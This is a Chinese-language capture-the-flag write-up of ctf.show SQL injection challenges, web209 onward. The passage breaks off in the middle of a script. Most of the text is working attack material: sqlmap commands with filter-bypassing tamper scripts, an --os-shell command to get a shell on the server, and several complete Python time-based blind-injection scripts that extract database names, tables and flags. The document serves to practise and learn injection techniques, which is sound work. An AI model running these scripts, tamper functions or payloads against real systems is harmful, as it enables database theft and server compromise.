python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -dbs
爆表名
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -columns
爆flag
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump
web210(绕过双重base64) 题目要对payload进行两次base64解密，因此通过脚本对payload进行两次加密就行，存为base.py使用(若存为base64.py会和原有脚本相似导致报错)
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -dbs
爆表名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -columns
爆flag
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx -dump
web211(绕过双重base64+空格过滤) 在上一题基础上还有匹配空格，结合脚本使用，存为yxing.py使用
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload.replace(' ' , '/**/' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -dbs
爆表名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -columns
爆flag
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa -dump
web212(+*过滤) 不能把空格换为/**/了，即更改上题脚本，存为yxing1.py使用
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload.replace(' ' , chr (0x09 )) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -dbs
爆表名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis -columns
爆flag
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa -dump
web213(getshell) 在上题基础上还要通过–os-shell一键getshell
python sqlmap.py -u http://689dbadd-5582 -48d9-8f86-e71080b370d5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="689dbadd-5582-48d9-8f86-e71080b370d5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py --os-shell
os-shell的使用条件
注意在最后cat flag时是cat /ctfshow_flag(由于空格错了第一遍没找到)
时间盲注 web214(数字型无闭合) 一直找不到注入点，看了wp和视频，在主页猫那个位置有一个向api/index.phpPOST请求的包(但是我用火狐和chrome都抓不到，只有先做着了)
后面通过网上看wp发现可以通过猫那个页面的select.js响应找到该页面
通过POST传参发现ip和debug两个参数直接插入进查询语句中，测试是否能时间盲注
debug=1 &ip=if (ascii (substr(database(),1 ,1 ))=99 ,sleep(2 ),sleep(5 ))
如图可正常进行时间盲注(数据库第一个字母ASCII码为99，即c)，写脚本来进行时间盲注(第一个手搓的脚本，花了三个小时，但是跑出来那一刻真的感觉好到爆！！！！)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} ' ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://0ea25f6a-a556-4083-bb9c-5a0404cf9f21.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web215(单引号闭合) 和上题一样的向api/index.phpPOST传参ip和debug，只不过要用单引号闭合，构造payload进行测试
debug=1 &ip=1 ' or if(ascii(substr(database(),1,1))=99,sleep(2),sleep(5))#
测试成功，更改上题脚本来进行时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr(database(),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://25d7140b-0e46-4acc-9114-db558df7419d.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web216(括号闭合) 题目要求对ip进行base64解码后查询，构造payload
debug=1 &ip=aWYoYXNjaWkoc3Vic3RyKGRhdGFiYXNlKCksMSwxKSk9OTksc2xlZXAoMiksc2xlZXAoNSkp
但是发现数据被括号闭合了，即手动闭合前括号，都不用base64加密了
测试成功，开始时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr(database(),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://5834e11a-e430-4226-9791-6af509fe403a.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web217(过滤sleep函数) 补充:benchmark()函数 作用 用于MySQL 数据库，用于测试表达式的执行速度。它重复执行一个表达式指定的次数，并返回执行结果。
语法
count: 表示要执行表达式的次数。expr: 要执行的表达式。
示例
测试简单表达式 ：
SELECT BENCHMARK(1000000 , 'a' + 'b' );
这条语句会将 'a' + 'b' 执行 1,000,000 次。由于这是个无效的字符串操作，实际上没有什么实际意义，但可以用来测试性能。
测试复杂表达式 ：
SELECT BENCHMARK(1000000 , MD5('test' ));
这条语句会将 MD5(‘test’)执行 1,000,000 次，用于测试哈希函数的性能。
结合其他 SQL 查询 ：
SELECT BENCHMARK(1000000 , CONCAT('Hello' , 'World' ));
这条语句会将 CONCAT('Hello', 'World') 执行 1,000,000 次，用于测试字符串连接操作的性能。
注入过程 进行测试
debug= 1 & ip= if(ascii(substr(database(),1 ,1 ))= 99 ,benchmark(2000000 ,MD5('test' )),benchmark(5000000 ,MD5('test' )))
测试成功，大概100000次就是0.1秒，因此改脚本进行时间盲注(由于benchmark函数第一个数字太大时容易把环境跑崩，所以适当减少秒数)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://7c47fda9-eda4-43ed-a634-a6533c2ea0b9.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web218(+benchmark) 补充:笛卡儿积 概念 在数学和数据库领域，笛卡尔积是指两个集合A和B的所有可能组合形成的集合。例如，如果A = {1, 2} 和 B = {a, b}，那么A和B的笛卡尔积是 {(1,a), (1,b), (2,a), (2,b)}。在SQL查询中，如果没有指定连接条件，两个表进行连接时会生成笛卡尔积，即每个表中的每一行都与另一个表中的每一行配对。
用法 (select count (* ) from information_schema.columns A, information_schema.columns B) #将两个information_schema.columns互相连接，注意这两个表列数要相同，如果是tables和columns连接就可能失效
注入过程 该题通过笛卡儿积进行盲注，构造payload测试(不需要再添加一个information_schema.columns C,容易转崩，亲测有效)
debug= 1 & ip= if(ascii(substr(database(),1 ,1 ))= 99 ,(select count (* ) from information_schema.columns A, information_schema.columns B),0 )
PS:现在才发现这题和上题都有括号，但是和web216不同的是这两个题就相当于子查询语句了，所以不用闭合也能得出结果
通过测试发现不同结果的时间不同，则使用脚本进行时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://b817b2f0-0ddc-4315-9ea8-a08833bc417a.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web219(+rlike) 补充:rlike函数 作用 rlike是一个用于模式匹配的函数，通常在 MySQL 数据库中使用。它与 LIKE 类似，但提供了更强大的正则表达式支持，允许你进行更复杂的模式匹配。rlike用于检查一个字符串是否与给定的正则表达式模式匹配。如果匹配成功，则返回 1（真），否则返回 0（假）。它可以用于 WHERE 子句中来筛选符合条件的行。
语法
expression：要进行匹配的字符串或列。pattern：正则表达式的模式。
示例
基本模式匹配 ：
SELECT * FROM table_name WHERE column_name RLIKE 'pattern' ;
匹配以特定字符开头的字符串 ：
SELECT * FROM table_name WHERE column_name RLIKE '^abc' ;
这将返回所有以 “abc” 开头的记录。
匹配包含特定字符的字符串 ：
SELECT * FROM table_name WHERE column_name RLIKE 'xyz' ;
这将返回所有包含 “xyz” 的记录。
匹配以特定字符结尾的字符串 ：
SELECT * FROM table_name WHERE column_name RLIKE 'xyz$' ;
这将返回所有以 “xyz” 结尾的记录。
匹配多个条件 ：
SELECT * FROM table_name WHERE column_name RLIKE 'abc|def' ;
这将返回所有包含 “abc” 或 “def” 的记录。
匹配数字 ：
SELECT * FROM table_name WHERE column_name RLIKE '[0-9]' ;
这将返回所有包含数字的记录。
忽略大小写 ： 正则表达式本身不区分大小写，但如果需要确保忽略大小写，可以在模式中使用 (?i) 标志：
SELECT * FROM table_name WHERE column_name RLIKE '(?i)pattern' ;
注入过程 禁用了rlike()函数，但是经过测试上题的笛卡儿积方法也能用，沿用上题脚本(上题估计可以通过rlike正则匹配数据来造成时间差异)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://04eddeb2-c30c-43b7-9e76-0fc69d9982b8.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web220(+substr+ascii+concat) 补充:limit()函数 作用 用于限制查询结果返回的行数。
语法 SELECT column1, column2, ...FROM table_nameLIMIT offset , count;
offset: 起始位置（可选），从0开始计数。count: 返回的最大行数。
示例 SELECT * FROM employees LIMIT 5 ;SELECT * FROM employees LIMIT 5 OFFSET 5 ;SELECT * FROM employees LIMIT 5 , 5 ;
注入过程 把substr(),ascii()和group_concat()都过滤了，可参考布尔盲注的web191,web193，使用left(),ord()和limit()绕过,构造payload如下
debug= 1 & ip= if(ord(left (database(),1 )= 99 ),(select count (* ) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0 )
测试成功(图一)(现在才发现我为啥一直用的ascii()测试,明明可以直接测试是否为c的，如图二)，更改脚本盲注
import requestsimport timeimport string def brute_force (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left(database(),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select table_name from information_schema.tables where table_schema='{database} ' limit 0,1),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select column_name from information_schema.columns where table_name='{table} ' limit 1,1),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select {column} from {table} ),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://52d2b635-887b-41db-9096-bee49f658ddf.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
到这里时间盲注就告一段落了，下面就是其他注入了
其他注入 web221(limit注入) 测试发现通过GET方式向/api提交变量，可通过报错注入获取库名
构造payload为
?page= 10 & limit= 10 procedure analyse(extractvalue(rand(),concat(0x3a ,database())),1 ); #解释:由于extractvalue()不是xml路径，而是字符串，因此会报错，报错信息中会带出数据库信息 #procedure analyse(xxx,1 )用于分析查询结果，本身并不会直接泄露信息，但它在这里的作用是确保extractvalue()被执行，并且引发错误。
获取库名为ctfshow_web_flag_x,即为flag
web222(group by无过滤注入) 可以使用布尔盲注或时间盲注，这里使用时间盲注
发现传参为page、limit、u通过web214的脚本更改使用
要注意的是，group by会向下一直查询，数据库里总共有21条数据，如果我们是sleep(1)则是停顿21秒
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',sleep(0.05),0)" start_time = time.time() response = requests.get(url, params={'u' : payload, 'page' : 1 , 'limit' : 10 }) elapsed_time = time.time() - start_time if elapsed_time >=1 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} ' ),{i} ,1)='{char} ',sleep(0.05),0)" start_time = time.time() response = requests.get(url, params={'u' : payload, 'page' : 1 , 'limit' : 10 }) elapsed_time = time.time() - start_time if elapsed_time 